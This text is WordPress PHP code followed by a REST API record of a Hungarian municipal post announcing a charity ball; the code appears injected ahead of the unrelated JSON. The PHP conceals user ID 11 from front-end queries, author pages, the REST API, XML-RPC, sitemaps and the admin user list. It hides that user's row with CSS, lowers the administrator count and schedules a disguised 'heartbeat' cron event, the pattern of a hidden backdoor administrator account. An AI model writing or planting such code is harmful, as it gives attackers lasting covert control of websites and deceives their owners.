add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":643,"date":"2020-01-21T13:54:15","date_gmt":"2020-01-21T13:54:15","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=643"},"modified":"2020-01-21T13:54:40","modified_gmt":"2020-01-21T13:54:40","slug":"meghivo-jotekonysagi-balra","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2020\/01\/21\/meghivo-jotekonysagi-balra\/","title":{"rendered":"Megh\u00edv\u00f3 &#8211; j\u00f3t\u00e9konys\u00e1gi b\u00e1lra"},"content":{"rendered":"\n<p>B\u00fckksz\u00e9k K\u00f6zs\u00e9g \u00d6nkorm\u00e1nyzata sok szeretettel megh\u00edvja \u00d6nt \u00e9s Kedves P\u00e1rj\u00e1t, bar\u00e1ti t\u00e1rsas\u00e1g\u00e1t a 2020. janu\u00e1r 25-\u00e9n 19 \u00f3r\u00e1t\u00f3l az iskola tornaterm\u00e9ben rendezend\u0151<\/p>\n\n\n\n<h2 class=\"has-text-align-center wp-block-heading\"><strong>J\u00d3T\u00c9KONYS\u00c1GI B\u00c1LRA<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"960\" src=\"http:\/\/www.bukkszek.hu\/2015\/wp-content\/uploads\/2020\/01\/82372401_2793207160741957_1968641596341616640_o.jpg\" alt=\"\" class=\"wp-image-644\" srcset=\"http:\/\/www.bukkszek.hu\/2015\/wp-content\/uploads\/2020\/01\/82372401_2793207160741957_1968641596341616640_o.jpg 720w, http:\/\/www.bukkszek.hu\/2015\/wp-content\/uploads\/2020\/01\/82372401_2793207160741957_1968641596341616640_o-225x300.jpg 225w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>B\u00fckksz\u00e9k K\u00f6zs\u00e9g \u00d6nkorm\u00e1nyzata sok szeretettel megh\u00edvja \u00d6nt \u00e9s Kedves P\u00e1rj\u00e1t, bar\u00e1ti t\u00e1rsas\u00e1g\u00e1t a 2020. janu\u00e1r 25-\u00e9n 19 \u00f3r\u00e1t\u00f3l az iskola tornaterm\u00e9ben rendezend\u0151 J\u00d3T\u00c9KONYS\u00c1GI B\u00c1LRA<\/p>\n","protected":false},"author":1,"featured_media":645,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-643","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=643"}],"version-history":[{"count":2,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/643\/revisions"}],"predecessor-version":[{"id":647,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/643\/revisions\/647"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/645"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=643"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}